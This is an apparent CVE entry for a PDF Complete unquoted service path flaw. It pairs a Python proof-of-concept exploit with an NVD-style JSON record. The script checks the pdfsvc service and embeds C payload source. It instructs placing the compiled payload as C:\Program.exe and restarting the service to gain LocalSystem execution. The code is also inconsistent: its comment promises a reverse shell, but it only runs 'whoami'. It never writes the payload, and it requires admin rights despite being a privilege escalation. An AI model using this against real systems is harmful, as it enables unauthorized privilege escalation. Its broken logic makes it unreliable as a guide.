CVE-2020-36957

#!/usr/bin/env python3 # CVE-2020-36957 PoC - PDF Complete Unquoted Service Path # This script demonstrates the unquoted service path vulnerability in pdfsvc.exe import os import sys import subprocess import ctypes def is_admin(): """Check if running with administrator privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def check_service_path(): """Check if pdfsvc.exe service has unquoted path""" try: result = subprocess.run( ['sc', 'qc', 'pdfsvc'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[+] Service pdfsvc found") if '"' not in result.stdout.split('BINARY_PATH_NAME')[1].split('\n')[0]: print("[!] Service path is unquoted - Vulnerable!") return True else: print("[-] Service path is quoted - Not vulnerable") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def exploit(): """Generate malicious executable for path hijacking""" if not is_admin(): print("[-] This exploit requires administrator privileges") return False if not check_service_path(): return False # Malicious payload - creates reverse shell malicious_code = ''' #include <windows.h> #include <stdio.h> int main() {{ STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); ZeroMemory(&pi, sizeof(pi)); si.cb = sizeof(si); // Replace with actual payload char* cmd = "cmd.exe /c whoami > C:\\\\poc_result.txt"; CreateProcess(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi); return 0; }} ''' print("[+] Payload generated - Compile and place as C:\\Program.exe") print("[+] Then restart the pdfsvc service to trigger execution") return True if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2020-36957", "sourceIdentifier": "[email protected]", "published": "2026-01-26T18:16:26.490", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "PDF Complete 3.5.310.2002 contains an unquoted service path vulnerability in its pdfsvc.exe service configuration. Attackers can exploit the unquoted path to inject and execute malicious code with elevated LocalSystem privileges."}, {"lang": "es", "value": "PDF Complete 3.5.310.2002 contiene una vulnerabilidad de ruta de servicio sin comillas en la configuración de su servicio pdfsvc.exe. Los atacantes pueden explotar la ruta sin comillas para inyectar y ejecutar código malicioso con privilegios elevados de LocalSystem."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://pdf-complete.informer.com/3.5/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49226", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/pdf-complete-pdfsvcexe-unquoted-service-path", "source": "[email protected]"}]}}